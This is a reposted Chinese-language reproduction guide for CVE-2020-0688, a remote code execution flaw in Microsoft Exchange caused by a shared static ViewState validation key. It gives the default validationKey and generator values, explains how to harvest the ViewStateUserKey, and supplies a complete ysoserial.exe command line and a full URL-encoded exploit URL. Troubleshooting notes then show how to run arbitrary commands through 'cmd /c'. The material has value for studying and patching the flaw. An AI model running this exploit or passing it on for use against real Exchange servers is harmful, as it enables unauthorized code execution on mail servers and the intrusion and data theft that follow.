CVE-2020-0688_微軟EXCHANGE服務的遠程代碼執行漏洞復現


漏洞編號:CVE-2020-0688

漏洞描述:攻擊者向存在缺陷的Exchange服務器發送經過特殊處理的電子郵件即可觸發漏洞。這個漏洞是由於Exchange服務器在安裝時沒有正確地創建唯一的加密密鑰所造成的。

    具體來說,與每次軟件安裝都會產生隨機密鑰不同,所有Exchange Server在安裝后的web.config文件中都擁有相同的validationKey和decryptionKey。這些密鑰用於保證ViewState的安全性。而ViewState是ASP.NET Web應用以序列化格式存儲在客戶機上的服務端數據。客戶端通過__VIEWSTATE請求參數將這些數據返回給服務器。攻擊者可以在Exchange Control Panel web應用上執行任意.net代碼。

參考鏈接https://nosec.org/home/detail/4158.html

影響版本:exchange 2010、2013、2016、2019全版本通殺。

 

漏洞復現:

復現環境:server 12 + exchange 2013 15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)兩版。

復現過程:

1、獲取ViewStateUserKey值

/ecp/default.aspx

F12鍵打開開發工具的Network選項,然后按F5重新發送請求。我們需要找到登錄時/ecp/default.aspx的原始響應:

 

 

 

 2、獲取取__VIEWSTATEGENERATOR值:

同樣在/ecp/default.aspx的響應包內,直接搜索關鍵詞即可。

 

 

 或使用document.getElementById("__VIEWSTATEGENERATOR").value

 

 

 如果發現沒有改字段,是因為系統沒有安裝KB2919355補丁,更新該補丁后可顯示,但是該字段值基本唯一,不需要刻意獲得。

 

3.整理已知參數

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默認,漏洞產生原因)

--validationalg = SHA1(默認,漏洞產生原因)

--generator = B97B4E27(基本默認)

--viewstateuserkey = d673d1a4-1794-403e-ab96-e283ca880ef2(手工獲取,變量,每次登陸都不一致)

 

4.生成payload:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2" --isdebug --islegacy

 

 

 5.上面ysoserial.exe生成的payload要用URL Encode編碼:

 

 

 

6.完整的攻擊地址示例:

https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D

 

7.成功彈出計算器:

 

 

  

//ysoserial.exe下載:

https://github.com/pwntester/ysoserial.net

https://github.com/Jumbo-WJB/CVE-2020-0688
https://github.com/random-robbie/cve-2020-0688

 

//Exchange版本和各更新包下載:

https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016

  

8.無法創建文件

   無法創建文件這一點其實最坑了,明明可以啟動calc.exe但是就是不能創建文件,導致我最初一直以為是版本問題或者__VIEWSTATEGENERATOR參數問題。但是后來經過測試發現雖然在演示過程中直接-c "echo OOOPS!!! > c:/Vuln_Server.txt"創建文件,讓人誤以為-c是在cmd窗口下運行,但是實際上-c實際為“運行”的內容,因此直接echo是不行的,需要-c "cmd /c echo test > C:\1.txt"這樣創建。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM